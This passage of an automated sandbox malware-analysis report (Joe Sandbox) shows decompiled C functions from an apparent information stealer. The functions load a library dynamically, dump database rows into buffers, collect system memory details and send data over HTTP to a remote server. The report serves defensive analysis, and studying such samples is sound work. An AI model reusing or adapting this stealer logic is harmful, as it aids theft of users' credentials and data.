				intOrPtr _t120;
				void* _t126;
				void* _t127;

				_t56 = E0040C090(_a4, "|",  &_v1076);
				_t127 = _t126 + 0xc;
				_v1072 = _t56;
				_v8 = 1;
				E0040B720( &_v804, 0x104);
				E0040B720( &_v1068, 0x104);
				E0040B720( &_v540, 0x104);
				E0040B720( &_v276, 0x104);
				while(_v1072 != 0) {
					_v1140 = _v8;
					if(_v1140 == 1) {
						 *0x41aa24( &_v804, _v1072);
					} else {
						if(_v1140 == 2) {
							 *0x41aa24( &_v1068, _v1072);
							_t69 = E0040BF50( &_v1068, __eflags, 0x1a);
							_t117 =  *0x41a574; // 0x8993e8
							 *0x41aac8( &_v540, E0040BEB0( &_v1068, _t117, _t69));
							_t73 = E0040BF50( &_v540, __eflags, 0x1c);
							_t118 =  *0x41a518; // 0x8993b8
							 *0x41aac8( &_v540, E0040BEB0( &_v540, _t118, _t73));
							_t77 = E0040BF50( &_v540, __eflags, 0x28);
							_t119 =  *0x41a2f8; // 0x899388
							 *0x41aac8( &_v540, E0040BEB0( &_v540, _t119, _t77));
							_t81 = E0040BF50( &_v540, __eflags, 0x10);
							_t120 =  *0x41a494; // 0x899340
							_t83 = E0040BEB0( &_v540, _t120, _t81);
							_t127 = _t127 + 0x40;
							 *0x41aac8( &_v540, _t83);
						} else {
							if(_v1140 == 3) {
								 *0x41aa24( &_v276, _v1072);
								E004049E0( &_v540,  &_v804,  &_v540);
								_t127 = _t127 + 8;
								E0040B6E0( &_v540,  &_v1136, 0, 0x3c);
								_v1136 = 0x3c;
								_v1132 = 0;
								_v1128 = 0;
								_t110 =  *0x41a694; // 0x884248
								_v1124 = _t110;
								_v1120 =  &_v540;
								_v1116 =  &_v276;
								_v1112 = 0;
								_v1108 = 5;
								_v1104 = 0;
								 *0x41aa84( &_v1136);
								E0040B6E0( &_v1136,  &_v1136, 0, 0x3c);
								E0040B720( &_v1068, 0x104);
								E0040B720( &_v540, 0x104);
								E0040B720( &_v276, 0x104);
								E0040B720( &_v804, 0x104);
								_v8 = 0;
							}
						}
					}
					_v8 = _v8 + 1;
					_t66 = E0040C090(0, "|",  &_v1076);
					_t127 = _t127 + 0xc;
					_v1072 = _t66;
				}
				return E0040B720( &_v1072, 4);
			}

0x00405b19
0x00405b1e
0x00405b21
0x00405b27
0x00405b3a
0x00405b4b
0x00405b5c
0x00405b6d
0x00405b72
0x00405b82
0x00405b8f
0x00405bba
0x00405b91
0x00405b98
0x00405bd3
0x00405bdb
0x00405be4
0x00405c02
0x00405c0a
0x00405c13
0x00405c31
0x00405c39
0x00405c42
0x00405c60
0x00405c68
0x00405c71
0x00405c7f
0x00405c84
0x00405c8f
0x00405b9a
0x00405ba1
0x00405ca8
0x00405cbc
0x00405cc1
0x00405ccf
0x00405cd4
0x00405cde
0x00405ce8
0x00405cf2
0x00405cf8
0x00405d04
0x00405d10
0x00405d16
0x00405d20
0x00405d2a
0x00405d3b
0x00405d4c
0x00405d5d
0x00405d6e
0x00405d7f
0x00405d90
0x00405d95
0x00405d95
0x00405ba1
0x00405b98
0x00405da2
0x00405db3
0x00405db8
0x00405dbb
0x00405dbb
0x00405dd7

APIs

lstrcat.KERNEL32(?,00000000), ref: 00405BBA
lstrcat.KERNEL32(?,00000000), ref: 00405BD3

Part of subcall function 0040BF50: SHGetFolderPathA.SHELL32(00000000,0040619E,00000000,00000000,?,?,000003E8), ref: 0040BF7B

Part of subcall function 0040BEB0: StrStrA.SHLWAPI(008993E8,?,?,004061B1,?,008993E8,00000000), ref: 0040BEBE

lstrcpy.KERNEL32(?,00000000), ref: 00405C02

Part of subcall function 0040BEB0: lstrcpyn.KERNEL32(0041AC88,008993E8,008993E8,?,004061B1,?,008993E8), ref: 0040BEE2
Part of subcall function 0040BEB0: wsprintfA.USER32 ref: 0040BF3B

lstrcpy.KERNEL32(?,00000000), ref: 00405C31
lstrcpy.KERNEL32(?,00000000), ref: 00405C60
lstrcpy.KERNEL32(?,00000000), ref: 00405C8F

Strings

<, xrefs: 00405CD4

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: lstrcpy$lstrcat$FolderPathlstrcpynwsprintf
String ID: <
API String ID: 2415926151-4251816714
Opcode ID: 747730083efd5928e2e27fe322c6f8ad2ed5ef5884fc777b8ac9b0fedd14d06d
Instruction ID: badc1f77fbd681f1876fa2e3389a3849b2e9868718c133fb1f617daaf3b8e41a
Opcode Fuzzy Hash: 747730083efd5928e2e27fe322c6f8ad2ed5ef5884fc777b8ac9b0fedd14d06d
Instruction Fuzzy Hash: D86114F190021CABD715EB60DC85FDE7378AB58304F0445AAF309A6191DB796B88CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040B000, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 45
memoryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040B000() {
				void* _v8;
				int _v16;
				int _v20;
				struct _MEMORYSTATUSEX _v84;
				void* _t18;
				int _t27;

				_v8 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 = memset( &_v84, 0, 0x40);
				_v84.dwLength = 0x40;
				GlobalMemoryStatusEx( &_v84);
				if(_t18 != 1) {
					_v20 = 0;
					_v16 = 0;
				} else {
					_t27 = _v84.ullAvailPhys;
					_v20 = E00413940(_v84.ullTotalPhys, _t27, 0x100000, 0);
					_v16 = _t27;
				}
				_push(_v16);
				wsprintfA(_v8, "%d MB", _v20);
				return _v8;
			}

0x0040b01a
0x0040b025
0x0040b02b
0x0040b036
0x0040b03f
0x0040b05d
0x0040b064
0x0040b041
0x0040b048
0x0040b055
0x0040b058
0x0040b058
0x0040b06e
0x0040b07c
0x0040b08b

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B00D
RtlAllocateHeap.NTDLL(00000000), ref: 0040B014
memset.NTDLL ref: 0040B025
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0040B036
__aulldiv.LIBCMT ref: 0040B050
wsprintfA.USER32 ref: 0040B07C

Strings

%d MB, xrefs: 0040B073
@, xrefs: 0040B02B

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatus__aulldivmemsetwsprintf
String ID: %d MB$@
API String ID: 3391354518-3474575989
Opcode ID: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction ID: d6dd67dfb3d0438e7a0ae41fe93027642831ff50444b6176823616896e2162a9
Opcode Fuzzy Hash: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction Fuzzy Hash: 7F01A9B1D40208ABDB00DFE4DD49BEFB7B8FB48701F108559F615AB280D7B99A118B99

Uniqueness

Uniqueness Score: -1.00%

Function 00406650, Relevance: 13.7, APIs: 9, Instructions: 176
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00406650(void* __ecx, void* __eflags) {
				char _v5004;
				char _v5268;
				char _v10268;
				char _v10272;
				char _v10276;
				char _v10540;
				char _v10544;
				intOrPtr _t46;
				intOrPtr _t51;
				intOrPtr _t52;
				intOrPtr _t61;
				intOrPtr _t71;
				void* _t76;
				intOrPtr _t90;
				intOrPtr _t92;
				intOrPtr _t93;
				intOrPtr _t97;
				intOrPtr _t101;
				intOrPtr _t107;
				intOrPtr _t109;
				intOrPtr _t111;
				intOrPtr _t112;
				intOrPtr _t116;
				CHAR* _t117;
				void* _t121;
				void* _t129;
				void* _t133;

				_t133 = __eflags;
				E004139B0(0x292c, __ecx);
				_v10544 = E00413730(0, 0x6400000, 0);
				E0040B720( &_v5268, 0x104);
				E0040B720( &_v10268, 0x1388);
				E0040B720( &_v10540, 0x104);
				 *0x41aa24( &_v5268, E0040B8B0( &_v10268, _t133, 0x10));
				_t90 =  *0x41a260; // 0x8842b8
				 *0x41aa24( &_v5268, _t90);
				_t46 =  *0x41a368; // 0x884408
				 *0x41aa24( &_v10540, _t46);
				_t107 =  *0x41a7c4; // 0x885850
				 *0x41aa24( &_v10540, _t107);
				_t92 =  *0x41a76c; // 0x899250
				 *0x41aa24( &_v10540, _t92);
				_t51 =  *0x41a714; // 0x89a0e0
				_t93 =  *0x41a288; // 0x899070
				_t109 =  *0x41a7c4; // 0x885850
				_t52 =  *0x41a368; // 0x884408
				 *0x41aa24( &_v10268, E004051A0(_t93, _t133, _t52, _t109, _t93, _t51));
				E00406320( &_v10268, _t133,  &_v10268, _v10544);
				E0040B720( &_v10268, 0x1388);
				_t111 =  *0x41a6a4; // 0x899c48
				E004049E0( &_v10268,  &_v10540, _t111);
				E0040B720( &_v10540, 0x104);
				_t112 =  *0x41aba8; // 0x0
				_t61 =  *0x41abac; // 0x0
				_t97 =  *0x41aba4; // 0x0
				E0040A700(_t133, _v10544, _t97, _t61, _t112);
				E00401470(_v10544);
				E004056E0(_v10544, _t133, _v10544);
				_t129 = _t121 + 0x48;
				_t134 =  *0x41abb0;
				if( *0x41abb0 != 0) {
					E0040BCF0(_t134, 0x41, _v10544);
					_t129 = _t129 + 8;
				}
				E00413800(_v10544,  &_v10276,  &_v10272);
				E0040B720( &_v5004, 0x1388);
				_t101 =  *0x41a288; // 0x899070
				_t116 =  *0x41a7c4; // 0x885850
				_t71 =  *0x41a368; // 0x884408
				 *0x41aa24( &_v5004, E00404BE0(_t101, _t134, _t71, _t116, _t101,  &_v5268, _v10276, _v10272));
				_t117 =  *0x41a6a8; // 0x89ae20
				SetCurrentDirectoryA(_t117);
				_t76 =  *0x41a908( &_v5004);
				_t135 = _t76 - 5;
				if(_t76 > 5) {
					E00405B00(_t135,  &_v5004);
				}
				E0040B720( &_v5268, 0x104);
				E0040B720( &_v5004, 0x1388);
				E0040B720( &_v10276, 4);
				E0040B720( &_v10272, 4);
				E0040B720( &_v10544, 4);
				E00405DE0();
				 *0x41abb4 = 1;
				return 0;
			}

0x00406650
0x00406658
0x0040666e
0x00406680
0x00406691
0x004066a2
0x004066b9
0x004066bf
0x004066cd
0x004066d3
0x004066e0
0x004066e6
0x004066f4
0x004066fa
0x00406708
0x0040670e
0x00406714
0x0040671b
0x00406722
0x00406738
0x0040674c
0x00406760
0x00406765
0x00406773
0x00406787
0x0040678c
0x00406793
0x00406799
0x004067a7
0x004067b6
0x004067c5
0x004067ca
0x004067cd
0x004067d4
0x004067df
0x004067e4
0x004067e4
0x004067fc
0x00406810
0x0040682a
0x00406831
0x00406838
0x0040684e
0x00406854
0x0040685b
0x00406868
0x0040686e
0x00406871
0x0040687a
0x0040687f
0x0040688e
0x0040689f
0x004068ad
0x004068bb
0x004068c9
0x004068ce
0x004068d3
0x004068e2

APIs

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 004066B9
lstrcat.KERNEL32(?,008842B8), ref: 004066CD
lstrcat.KERNEL32(?,00884408), ref: 004066E0
lstrcat.KERNEL32(?,00885850), ref: 004066F4
lstrcat.KERNEL32(?,00899250), ref: 00406708

Part of subcall function 004051A0: InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 004051CD
Part of subcall function 004051A0: StrCmpCA.SHLWAPI(00000000,https://), ref: 004051F3
Part of subcall function 004051A0: InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0040522D
Part of subcall function 004051A0: InternetConnectA.WININET(00000000,00884408,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00405253
Part of subcall function 004051A0: HttpOpenRequestA.WININET(00000000,?,0040672D,00000000,00000000,00000000,00C00100,00000000), ref: 004052B3
Part of subcall function 004051A0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405327
Part of subcall function 004051A0: HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00405343
Part of subcall function 004051A0: StrCmpCA.SHLWAPI(?,200), ref: 00405359

lstrcat.KERNEL32(?,00000000), ref: 00406738

Part of subcall function 00406320: lstrcat.KERNEL32(?,?), ref: 00406394

Part of subcall function 004049E0: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E

Part of subcall function 0040A700: GetProcessHeap.KERNEL32(00000000,000F423F,?,004067AC,?,00000000,00000000,00000000,?,00000104,?,00001388), ref: 0040A70A
Part of subcall function 0040A700: RtlAllocateHeap.NTDLL(00000000,?,004067AC), ref: 0040A711

Part of subcall function 004056E0: GetProcessHeap.KERNEL32(00000000,000F423F,?,?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 004056EB
Part of subcall function 004056E0: RtlAllocateHeap.NTDLL(00000000,?,004067CA), ref: 004056F2
Part of subcall function 004056E0: lstrcat.KERNEL32(?,008842A8), ref: 00405705
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00884418), ref: 00405716
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC0), ref: 00405725
Part of subcall function 004056E0: lstrcat.KERNEL32(?,0089A070), ref: 00405736
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC4), ref: 00405745
Part of subcall function 004056E0: lstrcat.KERNEL32(?,008856F0), ref: 00405756
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC0), ref: 00405765
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00899088), ref: 00405776
Part of subcall function 004056E0: GetCurrentProcessId.KERNEL32(?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 0040577C
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00000000), ref: 00405790
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040579F
Part of subcall function 004056E0: lstrcat.KERNEL32(00899268,00899268), ref: 004057AF
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 004057BF
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004057CE
Part of subcall function 004056E0: lstrcat.KERNEL32(008992B0,008992B0), ref: 004057DF
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 004057EF
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004057FE
Part of subcall function 004056E0: lstrcat.KERNEL32(00885890,00885890), ref: 0040580F
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 0040581F
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040582E

lstrcat.KERNEL32(?,00000000), ref: 0040684E
SetCurrentDirectoryA.KERNEL32(0089AE20,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 0040685B
lstrlen.KERNEL32(?,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 00406868

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: lstrcat$HeapInternet$HttpOpenProcess$AllocateCurrentRequest$ConnectDirectoryInfoOptionQuerySendSystemTimelstrlen
String ID:
API String ID: 2767677664-0
Opcode ID: fabbc2a9677d3c6aeca39df0d5bc9609c913b9ae446aed9ab3f1a9a909d992f7
Instruction ID: 4521fb7a1d59e918bbbcfb22c6a1b4b47e0d9ef7d9e5ed5fdd184795f43376b9
Opcode Fuzzy Hash: fabbc2a9677d3c6aeca39df0d5bc9609c913b9ae446aed9ab3f1a9a909d992f7
Instruction Fuzzy Hash: 476159B6901214ABD711EB60DC45DDA73BCEB4C744F00C5AAF209A3191DB78E794CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00407060, Relevance: 13.6, APIs: 9, Instructions: 61
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407060() {
				CHAR* _t1;
				CHAR* _t5;
				struct HINSTANCE__* _t7;
				CHAR* _t10;
				struct HINSTANCE__* _t12;
				CHAR* _t15;
				CHAR* _t18;
				struct HINSTANCE__* _t19;
				CHAR* _t20;
				struct HINSTANCE__* _t21;
				CHAR* _t22;
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t24;
				CHAR* _t25;
				struct HINSTANCE__* _t26;
				CHAR* _t27;
				struct HINSTANCE__* _t28;

				_t1 =  *0x41a6a4; // 0x899c48
				 *0x41a82c = LoadLibraryA(_t1);
				if( *0x41a82c == 0) {
					return 0;
				}
				_t18 =  *0x41a4d0; // 0x89acb8
				_t24 =  *0x41a82c; // 0x0
				 *0x41a830 = GetProcAddress(_t24, _t18);
				_t5 =  *0x41a0ec; // 0x89b678
				_t19 =  *0x41a82c; // 0x0
				 *0x41a7e8 = GetProcAddress(_t19, _t5);
				_t25 =  *0x41a43c; // 0x89ac88
				_t7 =  *0x41a82c; // 0x0
				 *0x41a804 = GetProcAddress(_t7, _t25);
				_t20 =  *0x41a41c; // 0x89b578
				_t26 =  *0x41a82c; // 0x0
				 *0x41a820 = GetProcAddress(_t26, _t20);
				_t10 =  *0x41a454; // 0x89b6b8
				_t21 =  *0x41a82c; // 0x0
				 *0x41a808 = GetProcAddress(_t21, _t10);
				_t27 =  *0x41a684; // 0x89abb0
				_t12 =  *0x41a82c; // 0x0
				 *0x41a834 = GetProcAddress(_t12, _t27);
				_t22 =  *0x41a570; // 0x89b778
				_t28 =  *0x41a82c; // 0x0
				 *0x41a810 = GetProcAddress(_t28, _t22);
				_t15 =  *0x41a6f8; // 0x89b598
				_t23 =  *0x41a82c; // 0x0
				 *0x41a818 = GetProcAddress(_t23, _t15);
				return 1;
			}

0x00407063
0x0040706f
0x0040707b
0x00000000
0x0040714b
0x00407081
0x00407088
0x00407095
0x0040709a
0x004070a0
0x004070ad
0x004070b2
0x004070b9
0x004070c5
0x004070ca
0x004070d1
0x004070de
0x004070e3
0x004070e9
0x004070f6
0x004070fb
0x00407102
0x0040710e
0x00407113
0x0040711a
0x00407127
0x0040712c
0x00407132
0x0040713f
0x00000000

APIs

LoadLibraryA.KERNEL32(00899C48,?,0040A721,?,004067AC,?,00000000,00000000,00000000,?,00000104,?,00001388), ref: 00407069
GetProcAddress.KERNEL32(00000000,0089ACB8), ref: 0040708F
GetProcAddress.KERNEL32(00000000,0089B678), ref: 004070A7
GetProcAddress.KERNEL32(00000000,0089AC88), ref: 004070BF
GetProcAddress.KERNEL32(00000000,0089B578), ref: 004070D8
GetProcAddress.KERNEL32(00000000,0089B6B8), ref: 004070F0
GetProcAddress.KERNEL32(00000000,0089ABB0), ref: 00407108
GetProcAddress.KERNEL32(00000000,0089B778), ref: 00407121
GetProcAddress.KERNEL32(00000000,0089B598), ref: 00407139

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction ID: 2672694bce1a196fb14c5d12644c19629fc0bc7f4ce699a9cda348cbaa83b162
Opcode Fuzzy Hash: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction Fuzzy Hash: 64210DB56262009FC344EBB8ED889B637E9B74C315711C53AE505C3261D635A462CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00408650, Relevance: 12.1, APIs: 8, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00408650(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v8;
				char _v276;
				char _v280;
				char _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v276, 0x104);
				_t30 =  *0x41a418; // 0x89b5b8
				wsprintfA( &_v276, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v8);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a790; // 0x89b898
					_t35 =  *0x41a7e8(_v8, _t67, 0xffffffff,  &_v280, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v280);
						return  *0x41a834(_v8);
					}
					_v284 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41a804(_v280);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v280, 0);
						_t48 =  *0x41a820(_v280, 1);
						_t76 = _t79 + 0x10;
						_v292 = _t48;
						 *0x41aa24(_v284, _v288);
						 *0x41aa24(_v284, "\n");
						 *0x41aa24(_v284, _v292);
						 *0x41aa24(_v284, "\n\n");
					}
					E004137E0(_a24,  &_v276, _v284,  *0x41a908(_v284));
					_t76 = _t79 + 0x10;
					E0040B720( &_v284, 4);
					goto L6;
				}
				return _t33;
			}

0x00408665
0x00408672
0x0040867f
0x00408690
0x00408696
0x0040869b
0x004086ac
0x004086b7
0x004086bd
0x004086c2
0x004087b2
0x004087b9
0x00000000
0x004087cc
0x004086dc
0x004086e2
0x004086e9
0x004086ef
0x004086f5
0x00000000
0x00000000
0x0040870d
0x0040871c
0x00408722
0x00408725
0x00408739
0x0040874b
0x0040875f
0x00408771
0x00408771
0x0040879c
0x004087a1
0x004087ad
0x00000000
0x004087ad
0x004087d2

APIs

wsprintfA.USER32 ref: 0040867F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004086CF
RtlAllocateHeap.NTDLL(00000000), ref: 004086D6
lstrcat.KERNEL32(?,?), ref: 00408739
lstrcat.KERNEL32(?,00418BC4), ref: 0040874B
lstrcat.KERNEL32(?,?), ref: 0040875F
lstrcat.KERNEL32(?,00418BC0), ref: 00408771
lstrlen.KERNEL32(?), ref: 00408783

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: cbaa3a57402c93d3f6ac8d8f06c7d0ef17fa834f40e1eb2d1f60f83834225a72
Instruction ID: 955311191cc75421edc53ced7400f0f4475059767564ca96251eab490a2998f9
Opcode Fuzzy Hash: cbaa3a57402c93d3f6ac8d8f06c7d0ef17fa834f40e1eb2d1f60f83834225a72
Instruction Fuzzy Hash: 5F41A9B1900108ABCB14DBA4DD46FDA7778AF4C705F0085A9F70997141DB35DAA1CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00409400, Relevance: 12.1, APIs: 8, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00409400(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v268;
				char _v272;
				char _v276;
				char _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v268, 0x104);
				_t30 =  *0x41a40c; // 0x89b478
				wsprintfA( &_v268, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v272);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a08c; // 0x89b8d0
					_t35 =  *0x41a7e8(_v272, _t67, 0xffffffff,  &_v276, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v276);
						return  *0x41a834(_v272);
					}
					_v280 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41a804(_v276);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v276, 0);
						_t48 =  *0x41a820(_v276, 1);
						_t76 = _t79 + 0x10;
						_v284 = _t48;
						 *0x41aa24(_v280, _v288);
						 *0x41aa24(_v280, "\t");
						 *0x41aa24(_v280, _v284);
						 *0x41aa24(_v280, "\n");
					}
					E004137E0(_a16,  &_v268, _v280,  *0x41a908(_v280));
					_t76 = _t79 + 0x10;
					E0040B720( &_v280, 4);
					goto L6;
				}
				return _t33;
			}

0x00409415
0x00409422
0x0040942f
0x00409443
0x00409449
0x0040944e
0x0040945f
0x0040946d
0x00409473
0x00409478
0x00409568
0x0040956f
0x00000000
0x00409585
0x00409492
0x00409498
0x0040949f
0x004094a5
0x004094ab
0x00000000
0x00000000
0x004094c3
0x004094d2
0x004094d8
0x004094db
0x004094ef
0x00409501
0x00409515
0x00409527
0x00409527
0x00409552
0x00409557
0x00409563
0x00000000
0x00409563
0x0040958b

APIs

wsprintfA.USER32 ref: 0040942F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00409485
RtlAllocateHeap.NTDLL(00000000), ref: 0040948C
lstrcat.KERNEL32(?,?), ref: 004094EF
lstrcat.KERNEL32(?,004191EC), ref: 00409501
lstrcat.KERNEL32(?,?), ref: 00409515
lstrcat.KERNEL32(?,00418BC4), ref: 00409527
lstrlen.KERNEL32(?), ref: 00409539

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: 73554b27680e441b7f146b6b5ae22a03ed6891bd5a46cf62418f090caae84141
Instruction ID: 73f73464c9cdda0f85a8cd32dc3c754c459267de9915a2913d06030346bf418a
Opcode Fuzzy Hash: 73554b27680e441b7f146b6b5ae22a03ed6891bd5a46cf62418f090caae84141
Instruction Fuzzy Hash: B141BAB1900108ABCB14DFA4DD4AFDA77B8AF48705F0085A9F709D7141D675DEA0CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00408150, Relevance: 12.1, APIs: 8, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00408150(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v268;
				char _v272;
				char _v276;
				char _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v268, 0x104);
				_t30 =  *0x41a40c; // 0x89b478
				wsprintfA( &_v268, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v272);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a6ec; // 0x899638
					_t35 =  *0x41a7e8(_v272, _t67, 0xffffffff,  &_v276, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v276);
						return  *0x41a834(_v272);
					}
					_v280 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41a804(_v276);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v276, 0);
						_t48 =  *0x41a820(_v276, 1);
						_t76 = _t79 + 0x10;
						_v284 = _t48;
						 *0x41aa24(_v280, _v288);
						 *0x41aa24(_v280, "\t");
						 *0x41aa24(_v280, _v284);
						 *0x41aa24(_v280, "\n");
					}
					E004137E0(_a24,  &_v268, _v280,  *0x41a908(_v280));
					_t76 = _t79 + 0x10;
					E0040B720( &_v280, 4);
					goto L6;
				}
				return _t33;
			}

0x00408165
0x00408172
0x0040817f
0x00408193
0x00408199
0x0040819e
0x004081af
0x004081bd
0x004081c3
0x004081c8
0x004082b8
0x004082bf
0x00000000
0x004082d5
0x004081e2
0x004081e8
0x004081ef
0x004081f5
0x004081fb
0x00000000
0x00000000
0x00408213
0x00408222
0x00408228
0x0040822b
0x0040823f
0x00408251
0x00408265
0x00408277
0x00408277
0x004082a2
0x004082a7
0x004082b3
0x00000000
0x004082b3
0x004082db

APIs

wsprintfA.USER32 ref: 0040817F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004081D5
RtlAllocateHeap.NTDLL(00000000), ref: 004081DC
lstrcat.KERNEL32(?,?), ref: 0040823F
lstrcat.KERNEL32(?,004191EC), ref: 00408251
lstrcat.KERNEL32(?,?), ref: 00408265
lstrcat.KERNEL32(?,00418BC4), ref: 00408277
lstrlen.KERNEL32(?), ref: 00408289

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

